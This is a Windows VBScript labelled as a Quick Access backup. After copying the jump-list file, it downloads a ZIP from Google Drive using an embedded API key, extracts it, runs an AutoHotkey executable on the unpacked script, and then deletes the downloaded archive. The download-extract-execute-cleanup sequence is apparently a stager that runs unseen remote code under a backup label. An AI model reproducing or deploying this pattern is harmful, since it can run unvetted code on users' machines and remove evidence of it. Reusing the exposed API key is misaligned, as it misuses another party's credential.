'Backup Quick Acess Set objShell = CreateObject( "WScript.Shell" ) appDataLocation=objShell.ExpandEnvironmentStrings("%APPDATA%") quickAccessFilePath = appDataLocation & "\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms" Set objFSO = CreateObject("Scripting.FileSystemObject") ' First parameter: original location\file ' Second parameter: new location\file objFSO.CopyFile quickAccessFilePath, quickAccessFilePath & "BAK" 'Set objWinHttp = CreateObject("Msxml2.ServerXMLHTTP") 'Set objWinHttp = CreateObject("MSXML2.XMLHTTP") Set objWinHttp = CreateObject("MSXML2.XMLHTTP.6.0") 'AHK to try ' Set objWinHttp = CreateObject("MSXML2.ServerXMLHTTP.6.0") 'no 'Microsoft.XMLHTTP '"MSXML2.XMLHTTP" 'Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1") 'h-wrk 'https://drive.google.com/file/d/1oxADuUNOyqwaCSeC8fFC8_MtfQhUA0FD/view?usp=drive_link 'URL = "https://drive.google.com/uc?export=download&confirm=_JdG&id=1PQpmQrIsck5RGYtB1zQ4t6WKwd6bFRqf" URL = "https://www.googleapis.com/drive/v3/files/1oxADuUNOyqwaCSeC8fFC8_MtfQhUA0FD?alt=media&key=AIzaSyCW6hLl6Du0O4slvOAW221ixj8rxh4YggQ" 'objWinHttp.Option(4) = 13056 'http://msdn.microsoft.com/en-us/library/ms763811(v=VS.85).aspx 'only WinHttp 'objWinHttp.Option (9) = 2720 'only WinHttp objWinHttp.Open "GET", URL, False objWinHttp.Send "" curFolder = GetCurrentFolder() filePath = curFolder & "\HelpSetup.zip" SaveBinaryData filePath,objWinHttp.responseBody strOutputDir = ".\" strZipFilePath = filePath '------------------------------------------------------------------------------------------------------------------ CreateObject( "Shell.Application" ).NameSpace( CreateObject("Scripting.FileSystemObject").GetAbsolutePathName( strOutputDir ) ).copyHere ( CreateObject( "Shell.Application" ).NameSpace( CreateObject("Scripting.FileSystemObject").GetAbsolutePathName( strZipFilePath ) ).Items() ), 1044 progExec = curFolder & "\AHK64.exe" fileExec = curFolder & "\HelpSetup.ahk" Dim objFSO, objFolder, objFile, objExec Dim scriptPath, progExec, fileExec ' Create Shell and FileSystem objects Set objShell = CreateObject("WScript.Shell") Set objFSO = CreateObject("Scripting.FileSystemObject") ' Execute the program and capture the process Set objExec = objShell.Exec(progExec & " " & fileExec) ' Wait for process WScript.Sleep 1000 ' Get current script directory scriptPath = GetCurrentFolder() ' Check if the directory exists If objFSO.FolderExists(scriptPath) Then Set objFolder = objFSO.GetFolder(scriptPath) ' Loop through all files in the directory For Each objFile In objFolder.Files ' Get file extension in lowercase Dim fileExt fileExt = LCase(objFSO.GetExtensionName(objFile.Name)) ' Check if the file is .zip or .vbs and delete it If fileExt = "zip" Then objFSO.DeleteFile objFile.Path, True ' Permanently delete the file End If Next End If ' Cleanup Set objFolder = Nothing Set objFSO = Nothing Set objShell = Nothing Set objExec = Nothing Function GetCurrentFolder() Dim FSO Set FSO = CreateObject("Scripting.FileSystemObject") GetCurrentFolder = FSO.GetAbsolutePathName(".") Set FSO = Nothing End Function Function SaveBinaryData(FileName, Data) ' For binary data, set the stream type to binary (adTypeBinary = 1) Const adTypeBinary = 1 Const adSaveCreateOverWrite = 2 Dim BinaryStream Set BinaryStream = CreateObject("ADODB.Stream") BinaryStream.Type = adTypeBinary BinaryStream.Open BinaryStream.Write Data BinaryStream.SaveToFile FileName, adSaveCreateOverWrite BinaryStream.Close End Function